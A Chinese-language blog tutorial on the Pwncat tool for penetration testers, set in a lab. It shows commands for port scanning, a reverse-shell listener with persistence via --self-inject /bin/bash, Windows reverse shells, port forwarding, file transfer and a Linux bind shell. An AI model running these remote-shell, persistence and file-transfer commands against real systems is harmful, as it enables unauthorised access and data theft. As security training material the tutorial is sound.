Pwncat --- 一款功能强大的反向Shell&Bindshell处理工具

                     公众号:泷羽Sec---风宵

Pwncat

目录

介绍:

安装方法

端口扫描和Banner抓取

设为监听器

Windows反向Shell

本地端口转发

发送和接收文件

绑定Shell(Linux)

介绍

      Pwncat作为一种强大且类似Netcat的工具,专为渗透测试人员及红队成员设计。它拥有带语法高亮和命令自动补全的交互式Shell,极大提高了使用的方便性。该工具不仅提供了充裕的二次开发接口,具备优良的扩展性,适应多种需求,还支持加密通信,保障了数据交互的安全性。与Netcat相比,Pwncat更适合应对复杂网络环境中的渗透挑战。

Pwncat的官网地址:

https://pwncat.org/

安装方法

在Kali系统中, 可以使用apt命令安装pwncat。

apt install pwncat

端口扫描和Banner抓取

系统管理员可以使用Pwncat工具,通过设定端口范围,并结合使用-banner选项,对目标系统中的开放端口进行扫描,同时实现banner信息的抓取。

pwncat -z 192.168.1.23 1-100
pwncat -z 192.168.1.23 1-100 --banner

Pwncat 不仅可以在 TCP 端口上执行端口扫描,还可以使用-u标志来扫描 UDP 端口。

设为监听器

    在执行监听器操作期间,pwncat通过在/tmp/文件夹下生成文件以实现持久化。即便连接中断,也能通过原先使用的端口重新获取反向shell。

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234

终止连接后,可以通过在同一端口运行 rlwrap 侦听器来检查持久性。

Pwncat 可以在多个端口上创建持久性连接的功能。

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2

可以看到除了1234端口之外,还可以在1235和1236端口上获得反向shell

Windows反向Shell

     要取得反向 shell,可以借助 Windows 电脑上的反向 shell 生成器(访问 Online - Reverse Shell Generator),通过执行相关命令来获取反向 shell。

在执行从 revshells.com 复制的命令之前,在 kali的4444端口启动监听器

pwncat -l 4444

本地端口转发

使用以下命令在 Ubuntu 计算机中安装 pwncat

pip3 install pwncat

在成功获取到反向shell之后,观察到Ubuntu系统上8080端口有一个应用正在运行。为了从Kali系统中访问这个Web应用,下一步将执行以下操作以实现本地端口转发。

pwncat -L 0.0.0.0:5000 127.0.0.1 8080

在 kali 机器内访问 Web 应用程序,网址为:http://192.168.1.23:5000

发送和接收文件

     在使用 pwncat 工具进行网络交互时,可以不仅仅用于建立逆向shell连接,还能够进行文件的发送和接收。为此,在的Ubuntu计算机上,可以首先创建一个名为 data.txt 的文件。,并在要接收该文件的 kali 计算机中启动侦听器。

要在kali机器中接收文件,可以使用以下命令:

pwncat -l 6666 > data.txt

监听器激活后,可以使用以下命令在 kali 机器中传输文件。

pwncat 192.168.1.7 6666 < data.txt

绑定Shell(Linux)

要获取绑定 shell,使用以下命令在 kali 机器内启动侦听器:

pwncat 192.168.1.23 9874

在 Ubuntu 机器中输入以下命令:

pwncat -l -e '/bin/bash' 9874 -k

可以观察到在kali机器上获得了bind shell连接。由于上面使用了-k标志,一旦客户端断开连接,绑定 shell 就会重新接受新客户端。

好啦,本文的内容就到这了,希望对你有所帮助咯。。。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值